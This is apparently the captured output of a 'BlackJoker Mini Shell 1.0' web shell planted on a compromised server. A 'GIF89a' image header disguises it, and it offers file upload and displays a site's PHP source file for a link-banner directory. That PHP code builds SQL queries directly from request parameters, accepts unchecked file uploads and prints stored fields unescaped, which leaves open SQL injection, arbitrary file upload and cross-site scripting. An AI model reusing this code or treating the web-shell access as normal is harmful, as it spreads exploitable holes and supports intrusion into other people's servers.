GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/view-linkbanners.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	include("lib/pager.php");
?>


<? include "includes/header_top.php";?>
<script language="javascript">
	function validate()
	{
		if(document.linkadd.webName.value=="")

		{
			alert("Enter your Website Name");
			document.linkadd.webName.focus();
			return false;
		}
		if(document.linkadd.webUrl.value=="")

		{
			alert("Enter your Website Address");
			document.linkadd.webUrl.focus();
			return false;
		}
		if(document.linkadd.emailAddress.value=="")

		{
			alert("Enter your Email Address");
			document.linkadd.emailAddress.focus();
			return false;
		}
		
		
	}
</script>




<?
if($_POST)
{
		
		
		$desp=addslashes($_POST['messCenter']);
		
		if($_FILES['ad_image']['tmp_name'])
		 {
		   $manu_imagename1=time().$_FILES['ad_image']['name'];
			move_uploaded_file($_FILES['ad_image']['tmp_name'],'linkbanners/'.$manu_imagename1);
		}
		
		$sql_insert="INSERT INTO link_list(id,cat_id,web_name,web_url,email,image1,message,status)VALUES('','".$_POST['category_type']."','".$_POST['webName']."','".$_POST['webUrl']."','".$_POST['emailAddress']."','$manu_imagename1','$desp','a')";
		execute_query($sql_insert);
		?>
        <script language="javascript">
        	
			location.href="link-category.php";
        </script>
        <?
	
}



?>
				

<body>
 <? include "includes/header.php";?>
<div class="hdr_foo">
	<div class="hrd_ftmenu">
           

    </div>
</div>
	<div class="main_bg">
   
 		<div style="height:32px; width:1000px;">
        	        
        </div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="menuleft_contain">
            	<? include "includes/link_leftcontent.php";?>
            </div>
             <div class="acountright_contain">
             	<?
                	$sql_linkbanner="SELECT * FROM link_catagory WHERE id='".$_GET['catid']."'";
					$res_linkbanner=execute_query($sql_linkbanner);
					$row_linkbanner=mysql_fetch_array($res_linkbanner);
				
				?>	
             	<div class="acccmid1_header"><?=$row_linkbanner['name']?></div>
            		<div class="accountrightct_mid">
                		 <div class="small_space"></div>
                         <div class="profile_data">
                         		<div class="small_space"></div>	
                                 <div class="linkdesp"><?=$row_linkbanner['description']?></div>
                                 <div class="small_space"></div> 
                                 <?
											$sql_bannerdis="SELECT * FROM  link_list WHERE cat_id='".$_GET['catid']."'";
											$res_bannerdis=execute_query($sql_bannerdis);
											while($row_bannerdis=mysql_fetch_array($res_bannerdis))
											{
										?>
                                 <div class="linkbanner">
                                 		<table border="0" cellpadding="0" cellspacing="0">
                                        	<tr>
                                            	<td class="banner_hdcolor"><?=$row_bannerdis['web_name']?></td>
                                            
                                            </tr>
                                            <tr height="5"></tr>
                                            <tr>
                                            	<td><a href="<?=$row_bannerdis['web_url']?>" target="_blank"><img src="linkbanners/<?=$row_bannerdis['image1']?>" /></a></td>
                                            </tr>
                                        </table> 
                                 
                                 </div>
                                 <br/>
                                 <? } ?>            
                              
                            </div>
                         <br class="spacer" />
                         </div> 
                                            
                     	
              </div>
            	
            <br class="spacer" />
            
        </div>
     <br/>
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0